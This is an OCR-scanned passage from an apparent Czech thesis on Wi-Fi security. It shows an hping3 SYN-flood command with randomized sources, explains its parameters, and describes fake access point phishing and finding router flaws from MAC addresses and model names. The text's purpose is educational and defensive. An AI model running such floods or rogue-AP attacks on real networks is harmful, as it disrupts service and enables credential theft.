root@kali:~# hping3 -c¢ 10000 -d 120 -S -w 64 -p 21 ——-flood —-
rand-source 10.1.1.1

kde parametr —c znamenda pocet paketd, -d velikost kazdého paketu ktery je odeslan, -
Sodesilani SYN pakett, -w 64 TCP velikost okna, -p 80 cilovy port (pro http je to port
80), --flood pro zahlceni cile pakety bez ¢ekani na odpveéd’ Ci potvrzeni(odesilani paketd
co moznd nejrychleji), --rand-source pro rezim ndhodnych adres IP a poslednim
parametrem je adresa IP bezdratového bodu.

4.4 FaleSny pristupovy bod

Zmeéna toku provozu pres zafizeni utoCnika je vyuZivand zejména pro jednoduché
pfesmérovani ucastnika na n€kterou podvrZenou stranku ve snaze ziskani pfihlaSovacich
tdaju nebo ve snaze donuceni ucastnika instalace softwaru pro piistup do internetu,
ktery samoziejmé pro piistup slouzit nebude, ale nejspiSe k zotroCeni klientského
pocitace [3].

~NS Klient

AP: HotSpot FREE

N

Uto&nik
AP: HotSpot FREE

Obr. 7:  Schéma utoku pres faleSny piistupovy bod

Operacni systémy z rodiny Windows proti tomuto typu dtoku disponuji ndstrojem, ktery
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si pfi prvnim pfipojeni ulozZi MAC adresu bezdratového bodu. V pfipad¢, Ze se zméni,
nedovoli klientovi se k této siti pfipojit a ozna¢i varovnou hldskou tuto sit.

4.5 Vyuziti bezpecnostni diry
Tato metoda utoku spociva v hleddni pfedem zndmych bezpecnostnich dér. K nalazeni

zndmé bezpecnostni trhliny je jako prvni potieba zjistit ptesny typ zafizeni. To lze zjistit
z adresy MAC, kterd obsahuje mnoho uZitecnych informaci:

00 11 22 33 44 55

Identifikétor vyrobce (OUI?) Identifikétor sitové karty (NIC?®)

Tab. 5: Schéma MAC adresy

S vyuzitim programii na detekci zafizeni z adresy MAC lze (né€kdy ne s udplnou
piesnosti) ur€it o jaky konkrétni model Access Pointu se jedna.

Proti této metodé se 1ze branit maskovanim MAC adresy.

Dals$i moZnost zjisténi pfesného modelu AP je pies webové rozhrani (pokud k nému
mdme piistup). V piipadé otevieni webového (nebo jiného telnet, SSH) rozhranni se ve
veétsiné piipadd prihlasi Access Point a pfi dotazu na pfihlasovaci heslo vyzradi své
modelové oznaceni napiiklad pomoci Apache Mod Access hlasky.

Jakmile mdme modelové oznaeni, sta¢i pohledat na internetu né&jaké zndmé
bezpecnostni diry. Jako piiklad bezpecnostni diry je mnoho modeli spole¢nosti TP-
LINK, které obsahuji chybu v nastaveni Mod Accessu, umoZiujici vyresetovat heslo
pro piistup k webovému rozhrani pomoci zaddni specidlni adresy URL.

22 Organisationally Unique Identifier (zkratka OUI) je jedine¢ny identifikdtor ktery zabird 3 oktety
adresy MAC znacici vyrobce sitové karty.

23 Network Interface Controller (zkratka NIC) je unikdtni identifikator dané sitové karty. Plati, Ze ve
sveté nemiiZou existovat dve sitové karty se stejnou adresou MAC.
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5 ZAVER
Prace hodnoti aktudlni stav zabezpefeni Wi-Fi siti a nejcastéjsi bezpecnostni problémy.
Prace muZe slouzit také jako ndvod pro lepsi zabezpeceni novych bezdratovych siti ¢i

postup kontroly téch stavajicich. Umoznuje nahlédnout do technik dto¢nikd, vyzkouset
tyto penetracni testy na vlastni siti a diky tomu lépe najit bezpecnostni problémy.

V praci byly porovnany jednotlivé metody Sifrovdni dat v bezdritovych sitich.
Z vysledku je patrné, Ze metoda Sifrovani WEP jiZ nevyhovuje dne$nim narokiim na
bezpeénost kvili jeji nachylnosti k prolomeni. Sifrovani WPA a WPA?2 jiz dne$nim
narokim vyhovuji, pokud neni jako kli¢ zvoleno nevhodné slovo. Price se dikladné
zabyva zranitelnosti technologie WPS, kterd muZe udtoc¢nikovi velmi zjednodusit
napadeni sité. Déle priace umoziuje nahlédnout na dal$i moZnosti zabezpeceni
bezdréitovych siti, jako naptiklad pfedpoklddéni dtoku zevnitt.

V piipadé dalsiho rozvoje se prace ddle muze zabyvat vytvafenim penetranich
skriptl slouZici pro automatizaci testovani bezdratovych siti.
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SEZNAM SYMBOLU, VELICIN A ZKRATEK

Wi-Fi Wireless Fidelity — napodobenina High Fidelity (Hi-Fi)
WLAN Wireles Local Area Network — Bezdratova mistni sit
AP Access Point — Pfistupovy bod

WEP Wired Equivalent Privacy

WPA Wi-Fi Protected Access

WPA2 Wi-Fi Protected Access 11

WPS Wi-Fi Protected Setup

PIN Personal Identification Number

TKIP Temporary Key Integrity Protocol

AES Advanced Encryption Standard

HTTP Hypertext Transfer Protokol

GET Metoda preddvani promeénnych pomoci HTTP (max. 512B)
POST Metoda preddvani promeénnych pomoci HTTP
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SEZNAM PRILOH

A Prostredi Linux KALI
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